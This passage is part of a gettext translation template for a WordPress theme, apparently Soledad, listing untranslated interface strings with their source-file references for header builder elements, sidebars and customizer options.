#: inc/builder/elements/pb_third_menu/settings.php:233
#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:230
msgid "Category Mega Menu Accent Color"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:245
#: inc/builder/elements/pb_second_menu/settings.php:239
#: inc/builder/elements/pb_third_menu/settings.php:241
msgid "Borders Color for Category Mega on Menu Style2"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:253
#: inc/builder/elements/pb_second_menu/settings.php:247
#: inc/builder/elements/pb_third_menu/settings.php:249
msgid "Dropdown Borders on Hover for Menu Style2"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:259
#: inc/builder/elements/pb_second_menu/settings.php:253
#: inc/builder/elements/pb_third_menu/settings.php:255
msgid "Menu Font Size"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:269
#: inc/builder/elements/pb_second_menu/settings.php:263
#: inc/builder/elements/pb_third_menu/settings.php:265
msgid "Height for Menu Items Level 1"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:329
#: inc/builder/elements/pb_second_menu/settings.php:323
#: inc/builder/elements/pb_third_menu/settings.php:325
msgid "Space Between Menu Items Level 1"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:349
#: inc/builder/elements/pb_second_menu/settings.php:343
#: inc/builder/elements/pb_third_menu/settings.php:345
msgid "Margin Between Menu Items Level 1"
msgstr ""

#: inc/builder/elements/pb_main_menu/settings.php:350
#: inc/builder/elements/pb_second_menu/settings.php:344
#: inc/builder/elements/pb_third_menu/settings.php:346
msgid "This option only applies when you enable padding for menu items level 1"
msgstr ""

#: inc/builder/elements/pb_mobile_menu/settings.php:5
msgid ""
"Please go to Appearance → Customize → Logo & Header → Vertical Mobile "
"Navigation to configure the mobile menu."
msgstr ""

#: inc/builder/elements/pb_mobile_menu/settings.php:15
msgid "Mobile Button Pre-define Style"
msgstr ""

#: inc/builder/elements/pb_mobile_menu/settings.php:61
msgid "Menu Borders Color"
msgstr ""

#: inc/builder/elements/pb_mobile_menu/settings.php:77
msgid "Menu Background Color"
msgstr ""

#: inc/builder/elements/pb_mobile_menu/settings.php:85
msgid "Menu Hover Background Color"
msgstr ""

#: inc/builder/elements/pb_mobile_menu/settings.php:93
msgid "Mobile Button Spacing"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:5
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:146
#: inc/customizer/default.php:25
msgid "Top Posts"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:8
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:148
#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:48
#: inc/js_composer/shortcodes/news_ticker/settings.php:18
msgid "Custom \"Top Posts\" Text"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:9
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:150
msgid "If you want hide Top Posts text, let empty this"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:16
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:156
#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:56
#: inc/js_composer/shortcodes/news_ticker/settings.php:24
msgid "Style for \"Top Posts\" Text"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:19
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:237
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:464
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:160
msgid "Default Style"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:29
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:169
msgid "\"Top Posts\" Transition Animation"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:33
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:173
msgid "Slide In Up"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:34
#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:156
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:174
#: inc/js_composer/shortcodes/custom_sliders/settings.php:323
msgid "Fade In Right"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:35
#: inc/customizer/config/sections/penci_ageverify_section.php:58
#: inc/customizer/config/sections/penci_popup_section_display_section.php:87
#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:157
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:175
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:186
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:153
msgid "Fade In"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:43
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:188
msgid "Display Top Posts By"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:45
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:192
#: inc/widgets/lastest_post_widget.php:35
#: inc/widgets/lastest_post_widget.php:37
#: inc/widgets/lastest_post_widget.php:425
msgid "Recent Posts"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:46
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:193
msgid "Popular Posts All Time"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:47
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:194
msgid "Popular Posts Once Weekly"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:48
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:195
msgid "Popular Posts Once Month"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:56
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:201
msgid "Filter Topbar By"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:59
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:205
#: inc/elementor/base/base-widget.php:142
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:551
#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:232
#: inc/js_composer/shortcodes/featured_slider/settings.php:335
#: inc/js_composer/shortcodes/featured_slider/settings.php:433
msgid "Category"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:60
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:203
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:206
#: inc/customizer/default.php:79 inc/elementor/base/base-widget.php:152
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:76
#: inc/elementor/modules/query-control/controls/penci-group-control-posts.php:59
#: inc/js_composer/inc/vc-params-helper.php:503
#: inc/js_composer/params/loop/register.php:286
msgid "Tags"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:68
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:248
msgid "Fill List Tags for Filter by Tags on \"Top Post\""
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:69
msgid ""
"This option just apply when you select \"Filter Topbar by\" Tags above. And "
"please fill list featured tags slug here, check <a rel=\"nofollow\" "
"href=\"https://soledad.pencidesign.net/soledad-document/images/tags.png\" "
"target=\"_blank\">this image</a> to know what is tags slug. Example for "
"multiple tags slug, fill:  tag-1, tag-2, tag-3"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:77
msgid "Fill List Categories for Filter by Category on \"Top Post\""
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:78
msgid ""
"This option just apply when you select \"Filter Topbar by\" Category above. "
"And please fill list featured category slug here, check <a rel=\"nofollow\" "
"href=\"https://soledad.pencidesign.net/soledad-document/images/tags.png\" "
"target=\"_blank\">this image</a> to know what is tags slug. Example for "
"multiple category slug, fill:  cat-1, cat-2, cat-3"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:85
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:256
msgid "Words Length for Post Titles on Top Posts"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:103
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:283
#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:123
#: inc/js_composer/shortcodes/news_ticker/settings.php:77
msgid "Disable Auto Play"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:116
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:290
#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:130
#: inc/js_composer/shortcodes/news_ticker/settings.php:86
msgid "Autoplay Timeout"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:137
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:312
#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:140
#: inc/js_composer/shortcodes/news_ticker/settings.php:93
msgid "Autoplay Speed"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:156
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:332
msgid "Amount of Posts Display on Top Posts"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:176
msgid "Maxium Width for Ticker Text"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:195
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:181
msgid "Disable Uppercase for \"Top Posts\" text"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:207
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:276
msgid "Turn Off Uppercase Post Titles"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:220
msgid "Color for \"Top Posts\" Text"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:228
msgid "Background Color for \"Top Posts Text\""
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:235
msgid "Color for Right Arrow on Style 3"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:243
#: inc/customizer/config/sections/penci_section_spost_colors_section.php:351
msgid "Color for Post Titles"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:251
msgid "Hover Color for Post Titles"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:259
msgid "Color for Next/Prev Buttons"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:267
msgid "Hover Color for Next/Prev Buttons"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:275
msgid "Custom Text Font"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:285
#: inc/customizer/config/sections/penci_section_fslider_fsize_section.php:43
#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:687
msgid "Font Size for Post Titles"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:305
msgid "Font Size for Next/Prev Buttons"
msgstr ""

#: inc/builder/elements/pb_news_ticker/settings.php:325
msgid "Font Size for \"Top Posts\" Text"
msgstr ""

#: inc/builder/elements/pb_search_form/settings.php:8
#: inc/builder/elements/pb_search_form_sidebar/settings.php:8
#: inc/builder/elements/pb_search_icon/settings.php:9
msgid "Search Style"
msgstr ""

#: inc/builder/elements/pb_search_form/settings.php:13
#: inc/builder/elements/pb_search_form_sidebar/settings.php:13
msgid "Text Button"
msgstr ""

#: inc/builder/elements/pb_search_form/settings.php:14
#: inc/builder/elements/pb_search_form_sidebar/settings.php:14
msgid "Icon Button"
msgstr ""

#: inc/builder/elements/pb_search_form/settings.php:46
#: inc/builder/elements/pb_search_form_sidebar/settings.php:46
msgid "Icon/Button Text Color"
msgstr ""

#: inc/builder/elements/pb_search_form/settings.php:54
#: inc/builder/elements/pb_search_form_sidebar/settings.php:54
#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:112
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:854
#: inc/customizer/config/sections/woocommerce_checkout_section.php:131
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:826
#: inc/elementor/modules/penci-login-form/widgets/penci-login-form.php:193
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:632
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:1135
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:618
msgid "Button Hover Text Color"
msgstr ""

#: inc/builder/elements/pb_search_form/settings.php:62
#: inc/builder/elements/pb_search_form_sidebar/settings.php:62
#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:330
#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:88
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:98
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:675
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:833
#: inc/customizer/config/sections/woocommerce_checkout_section.php:110
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:814
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:796
#: inc/elementor/modules/penci-login-form/widgets/penci-login-form.php:180
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:602
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:1108
#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:606
#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:472
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:456
#: inc/elementor/modules/penci-search-form/widgets/penci-search-form.php:142
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:416
#: inc/js_composer/shortcodes/big_grid/settings.php:598
#: inc/js_composer/shortcodes/custom_sliders/settings.php:597
#: inc/js_composer/shortcodes/custom_sliders/settings.php:711
#: inc/js_composer/shortcodes/login_form/settings.php:91
msgid "Button Background Color"
msgstr ""

#: inc/builder/elements/pb_search_form/settings.php:70
#: inc/builder/elements/pb_search_form_sidebar/settings.php:70
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:112
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:830
#: inc/elementor/modules/penci-login-form/widgets/penci-login-form.php:206
#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:636
#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:480
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:486
#: inc/elementor/modules/penci-search-form/widgets/penci-search-form.php:149
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:446
#: inc/js_composer/shortcodes/big_grid/settings.php:606
#: inc/js_composer/shortcodes/custom_sliders/settings.php:618
#: inc/js_composer/shortcodes/custom_sliders/settings.php:732
msgid "Button Background Hover Color"
msgstr ""

#: inc/builder/elements/pb_search_form/settings.php:78
msgid "Search Form Max Width"
msgstr ""

#: inc/builder/elements/pb_search_form/settings.php:98
#: inc/builder/elements/pb_search_form_sidebar/settings.php:78
msgid "Custom Height"
msgstr ""

#: inc/builder/elements/pb_search_form/settings.php:118
#: inc/builder/elements/pb_search_form_sidebar/settings.php:98
msgid "Font Size for Input Text"
msgstr ""

#: inc/builder/elements/pb_search_form/settings.php:138
#: inc/builder/elements/pb_search_form_sidebar/settings.php:118
msgid "Font Size for Button/Icon"
msgstr ""

#: inc/builder/elements/pb_search_form/settings.php:171
#: inc/builder/elements/pb_search_form_sidebar/settings.php:151
msgid "Input Text Padding Left"
msgstr ""

#: inc/builder/elements/pb_search_form/settings.php:191
#: inc/builder/elements/pb_search_form_sidebar/settings.php:171
msgid "Input Text Padding Right"
msgstr ""

#: inc/builder/elements/pb_search_form/settings.php:211
#: inc/builder/elements/pb_search_form_sidebar/settings.php:191
msgid "Button Padding Left"
msgstr ""

#: inc/builder/elements/pb_search_form/settings.php:231
#: inc/builder/elements/pb_search_form_sidebar/settings.php:211
msgid "Button Padding Right"
msgstr ""

#: inc/builder/elements/pb_search_icon/settings.php:21
msgid "Search Button Pre-define Style"
msgstr ""

#: inc/builder/elements/pb_search_icon/settings.php:35
msgid "Search Icon Color"
msgstr ""

#: inc/builder/elements/pb_search_icon/settings.php:43
msgid "Search Icon Hover Color"
msgstr ""

#: inc/builder/elements/pb_search_icon/settings.php:67
msgid "Search Icon Borders Color"
msgstr ""

#: inc/builder/elements/pb_search_icon/settings.php:75
msgid "Search Icon Hover Borders Color"
msgstr ""

#: inc/builder/elements/pb_search_icon/settings.php:83
msgid "Search Icon Background Color"
msgstr ""

#: inc/builder/elements/pb_search_icon/settings.php:91
msgid "Search Icon Hover Background Color"
msgstr ""

#: inc/builder/elements/pb_search_icon/settings.php:99
#: inc/customizer/config/sections/penci_section_spage_colors_section.php:84
#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:279
msgid "Search Form Borders Color"
msgstr ""

#: inc/builder/elements/pb_search_icon/settings.php:107
#: inc/customizer/config/sections/pencidesign_logo_header_colors.php:14
msgid "Search Form Background Color"
msgstr ""

#: inc/builder/elements/pb_search_icon/settings.php:115
msgid "Search Form Input Borders Color"
msgstr ""

#: inc/builder/elements/pb_search_icon/settings.php:123
msgid "Search Form Input Background Color"
msgstr ""

#: inc/builder/elements/pb_search_icon/settings.php:131
msgid "Search Form Input Color"
msgstr ""

#: inc/builder/elements/pb_search_icon/settings.php:139
msgid "Search Form Submit Background Color"
msgstr ""

#: inc/builder/elements/pb_search_icon/settings.php:147
msgid "Search Form Submit Background Hover Color"
msgstr ""

#: inc/builder/elements/pb_search_icon/settings.php:155
msgid "Search Form Submit Color"
msgstr ""

#: inc/builder/elements/pb_search_icon/settings.php:163
msgid "Search Form Submit Hover Color"
msgstr ""

#: inc/builder/elements/pb_search_icon/settings.php:171
msgid "Overlay Search Form Background Color"
msgstr ""

#: inc/builder/elements/pb_search_icon/settings.php:179
msgid "Overlay Search Input Border Bottom Color"
msgstr ""

#: inc/builder/elements/pb_search_icon/settings.php:187
msgid "Overlay Close Button Color"
msgstr ""

#: inc/builder/elements/pb_search_icon/settings.php:195
#: inc/builder/elements/pb_search_icon/settings.php:235
msgid "Search Icon Size"
msgstr ""

#: inc/builder/elements/pb_search_icon/settings.php:215
msgid "Search Form Input Text Size"
msgstr ""

#: inc/builder/elements/pb_second_menu/settings.php:55
msgid "Custom Font For Second Menu Items"
msgstr ""

#: inc/builder/elements/pb_second_menu/settings.php:64
msgid "Font Weight For Second Menu Items"
msgstr ""

#: inc/builder/elements/pb_shortcode/settings.php:10
#: inc/builder/elements/pb_shortcode_2/settings.php:10
#: inc/builder/elements/pb_shortcode_3/settings.php:10
#: inc/builder/elements/pb_shortcode_mobile/settings.php:10
msgid "Shortcode Code"
msgstr ""

#: inc/builder/elements/pb_social_icon/settings.php:12
#: inc/builder/elements/pb_social_icon_mobile/settings.php:12
msgid "Social Icon Size"
msgstr ""

#: inc/builder/elements/pb_social_icon/settings.php:34
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:503
msgid "Social Icons Width/Height"
msgstr ""

#: inc/builder/elements/pb_social_icon/settings.php:55
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:332
msgid "Spacing Between Icons"
msgstr ""

#: inc/builder/elements/pb_social_icon/settings.php:75
#: inc/builder/elements/pb_social_icon_mobile/settings.php:75
msgid "Social Icon Style"
msgstr ""

#: inc/builder/elements/pb_social_icon/settings.php:79
#: inc/builder/elements/pb_social_icon_mobile/settings.php:79
#: inc/js_composer/shortcodes/product_brand/settings.php:70
#: inc/js_composer/shortcodes/product_tabs/settings.php:54
msgid "Simple"
msgstr ""

#: inc/builder/elements/pb_social_icon/settings.php:80
#: inc/builder/elements/pb_social_icon_mobile/settings.php:80
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:217
#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:98
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:145
#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:89
#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:299
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:249
#: inc/gutenberg/block/portfolio/index.js:50
#: inc/gutenberg/block/recipe-index/index.js:46
#: inc/js_composer/shortcodes/image_gallery/settings.php:62
#: inc/js_composer/shortcodes/info_box/settings.php:165
#: inc/js_composer/shortcodes/simple_list/settings.php:138
#: inc/js_composer/soledad_vc.php:1424
msgid "Square"
msgstr ""

#: inc/builder/elements/pb_social_icon/settings.php:89
#: inc/builder/elements/pb_social_icon_mobile/settings.php:89
#: inc/js_composer/shortcodes/team_member/settings.php:451
msgid "Social Icon Color"
msgstr ""

#: inc/builder/elements/pb_social_icon/settings.php:93
#: inc/builder/elements/pb_social_icon/settings.php:182
#: inc/builder/elements/pb_social_icon_mobile/settings.php:93
#: inc/builder/elements/pb_social_icon_mobile/settings.php:182
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:156
#: inc/js_composer/shortcodes/social_counter/settings.php:254
#: inc/widgets/social_counter.php:368
msgid "Custom Color"
msgstr ""

#: inc/builder/elements/pb_social_icon/settings.php:94
#: inc/builder/elements/pb_social_icon_mobile/settings.php:94
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:327
msgid "Brand Text Color"
msgstr ""

#: inc/builder/elements/pb_social_icon/settings.php:95
#: inc/builder/elements/pb_social_icon_mobile/settings.php:95
msgid "Brand Background Color"
msgstr ""

#: inc/builder/elements/pb_social_icon/settings.php:126
#: inc/builder/elements/pb_social_icon_mobile/settings.php:126
#: inc/customizer/config/sections/pencidesign_general_extra_section.php:28
msgid "Select \"rel\" Attribute Type for Social Media & Social Share Icons"
msgstr ""

#: inc/builder/elements/pb_social_icon/settings.php:146
#: inc/builder/elements/pb_social_icon_mobile/settings.php:146
msgid "Custom Background Color"
msgstr ""

#: inc/builder/elements/pb_social_icon/settings.php:155
#: inc/builder/elements/pb_social_icon_mobile/settings.php:155
msgid "Custom Background Hover Color"
msgstr ""

#: inc/builder/elements/pb_social_icon/settings.php:164
#: inc/builder/elements/pb_social_icon_mobile/settings.php:164
msgid "Custom Borders Color"
msgstr ""

#: inc/builder/elements/pb_social_icon/settings.php:173
#: inc/builder/elements/pb_social_icon_mobile/settings.php:173
msgid "Custom Borders Hover Color"
msgstr ""

#: inc/builder/elements/pb_social_icon/settings.php:191
#: inc/builder/elements/pb_social_icon_mobile/settings.php:191
msgid "Custom Hover Color"
msgstr ""

#: inc/builder/elements/pb_social_icon_mobile/settings.php:34
msgid "Social Icon Width"
msgstr ""

#: inc/builder/elements/pb_social_icon_mobile/settings.php:55
msgid "Spacing Between Item"
msgstr ""

#: inc/builder/elements/pb_third_menu/settings.php:58
msgid "Custom Font For Third Menu Items"
msgstr ""

#: inc/builder/elements/pb_third_menu/settings.php:67
msgid "Font Weight For Third Menu Items"
msgstr ""

#: inc/builder/elements/pb_vertical_line_1/settings.php:11
#: inc/builder/elements/pb_vertical_line_2/settings.php:10
#: inc/builder/elements/pb_vertical_line_3/settings.php:10
#: inc/builder/elements/pb_vertical_line_4/settings.php:10
#: inc/builder/elements/pb_vertical_line_5/settings.php:10
#: inc/builder/elements/pb_vertical_line_mobile_1/settings.php:10
#: inc/builder/elements/pb_vertical_line_mobile_2/settings.php:10
msgid "Vertical Line Width"
msgstr ""

#: inc/builder/elements/pb_vertical_line_1/settings.php:19
#: inc/builder/elements/pb_vertical_line_2/settings.php:18
#: inc/builder/elements/pb_vertical_line_3/settings.php:18
#: inc/builder/elements/pb_vertical_line_4/settings.php:18
#: inc/builder/elements/pb_vertical_line_5/settings.php:18
#: inc/builder/elements/pb_vertical_line_mobile_1/settings.php:18
#: inc/builder/elements/pb_vertical_line_mobile_2/settings.php:18
msgid "Vertical Line Height"
msgstr ""

#: inc/builder/elements/pb_vertical_line_1/settings.php:27
#: inc/builder/elements/pb_vertical_line_2/settings.php:26
#: inc/builder/elements/pb_vertical_line_3/settings.php:26
#: inc/builder/elements/pb_vertical_line_4/settings.php:26
#: inc/builder/elements/pb_vertical_line_5/settings.php:26
#: inc/builder/elements/pb_vertical_line_mobile_1/settings.php:26
#: inc/builder/elements/pb_vertical_line_mobile_2/settings.php:26
msgid "Vertical Line Color"
msgstr ""

#: inc/builder/elements/pb_wishlist_icon/settings.php:23
msgid "Wishlist Icon Color"
msgstr ""

#: inc/builder/elements/pb_wishlist_icon/settings.php:31
msgid "Wishlist Icon Hover Color"
msgstr ""

#: inc/builder/elements/pb_wishlist_icon/settings.php:39
msgid "Wishlist Icon Borders Color"
msgstr ""

#: inc/builder/elements/pb_wishlist_icon/settings.php:47
msgid "Wishlist Icon Hover Borders Color"
msgstr ""

#: inc/builder/elements/pb_wishlist_icon/settings.php:55
msgid "Wishlist Icon Background Color"
msgstr ""

#: inc/builder/elements/pb_wishlist_icon/settings.php:63
msgid "Wishlist Icon Hover Background Color"
msgstr ""

#: inc/comment_ratings.php:82
msgid "Comment Ratings"
msgstr ""

#: inc/comment_ratings.php:232
msgid "Review Fields"
msgstr ""

#: inc/custom-sidebar.php:77
msgid "+ Add sidebar"
msgstr ""

#: inc/custom-sidebar.php:176 inc/custom-sidebar.php:260
msgid "Update error"
msgstr ""

#: inc/custom-sidebar.php:188
msgid "Missing sidebar name."
msgstr ""

#: inc/custom-sidebar.php:211
msgid "Sidebar already exists, please use a different name."
msgstr ""

#: inc/custom-sidebar.php:234
msgid "Sidebar Added Successfully!"
msgstr ""

#: inc/custom-sidebar.php:269
msgid "Missing sidebar ID"
msgstr ""

#: inc/custom-sidebar.php:280
msgid "Sidebar \""
msgstr ""

#: inc/custom-sidebar.php:355 inc/meta-box/categories-meta-box.php:97
msgid "Custom Sidebar 1"
msgstr ""

#: inc/custom-sidebar.php:356 inc/meta-box/categories-meta-box.php:99
msgid "Custom Sidebar 2"
msgstr ""

#: inc/custom-sidebar.php:357 inc/meta-box/categories-meta-box.php:101
msgid "Custom Sidebar 3"
msgstr ""

#: inc/custom-sidebar.php:358 inc/meta-box/categories-meta-box.php:103
msgid "Custom Sidebar 4"
msgstr ""

#: inc/custom-sidebar.php:359 inc/meta-box/categories-meta-box.php:105
msgid "Custom Sidebar 5"
msgstr ""

#: inc/custom-sidebar.php:360 inc/meta-box/categories-meta-box.php:107
msgid "Custom Sidebar 6"
msgstr ""

#: inc/custom-sidebar.php:361 inc/meta-box/categories-meta-box.php:109
msgid "Custom Sidebar 7"
msgstr ""

#: inc/custom-sidebar.php:362 inc/meta-box/categories-meta-box.php:111
msgid "Custom Sidebar 8"
msgstr ""

#: inc/custom-sidebar.php:363 inc/meta-box/categories-meta-box.php:113
msgid "Custom Sidebar 9"
msgstr ""

#: inc/custom-sidebar.php:364 inc/meta-box/categories-meta-box.php:115
#: inc/meta-box/categories-meta-box.php:139
msgid "Custom Sidebar 10"
msgstr ""

#: inc/customizer/config/options/ad_blocker.php:19 inc/options/options.php:77
msgid "Ad Blocker Detector"
msgstr ""

#: inc/customizer/config/options/custom_css.php:19
#: inc/customizer/config/sections/pencidesign_new_section_custom_css_section.php:7
#: inc/meta-box/register/page.php:31 inc/options/options.php:84
#: inc/woocommerce/modules/metaboxes.php:31
msgid "Custom CSS"
msgstr ""

#: inc/customizer/config/options/custom_css.php:19 inc/options/options.php:86
msgid "Add your custom CSS which will overwrite the theme CSS"
msgstr ""

#: inc/customizer/config/options/featured_slider.php:23
#: inc/js_composer/shortcodes/featured_slider/settings.php:541
#: inc/options/options.php:93
msgid "Featured Slider"
msgstr ""

#: inc/customizer/config/options/featured_slider.php:24
#: inc/options/options.php:94
msgid ""
"This is a powerful WordPress theme, it supports 3 ways to help you can setup "
"a homepage - you can check more <a class=\"wp-customizer-link\" "
"target=\"_blank\" href=\"https://soledad.pencidesign.net/soledad-document/"
"#homepage\">here</a>.<br>And most of all the options here apply when you use "
"<strong>WAY 2: Config Homepage by use Customize</strong>.<br>If you use "
"Elementor or WPBakery to config your pages, you can use element \"Penci "
"Featured Slider\" to get the slider display."
msgstr ""

#: inc/customizer/config/options/featured_slider.php:30
#: inc/customizer/config/options/featured_video.php:30
#: inc/customizer/config/options/footer.php:30
#: inc/customizer/config/options/general.php:23
#: inc/customizer/config/options/homepage.php:30
#: inc/customizer/config/options/logo_header.php:30
#: inc/customizer/config/options/pages_options.php:29
#: inc/customizer/config/options/popup.php:29
#: inc/customizer/config/options/sidebar.php:29
#: inc/customizer/config/options/single_post.php:29
#: inc/customizer/config/options/toc.php:29
#: inc/customizer/config/options/verticalnav-hamburger.php:30
#: inc/customizer/config/options/woocommerce.php:20
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:87
#: inc/elementor/modules/penci-author-list/widgets/penci-author-list.php:43
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:49
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:49
#: inc/elementor/modules/penci-comments-list/widgets/penci-comments-list.php:44
#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:41
#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:43
#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:60
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:42
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:624
#: inc/elementor/modules/penci-login-form/widgets/penci-login-form.php:40
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:50
#: inc/elementor/modules/penci-popular-cat/widgets/penci-popular-cat.php:39
#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:94
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:82
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:152
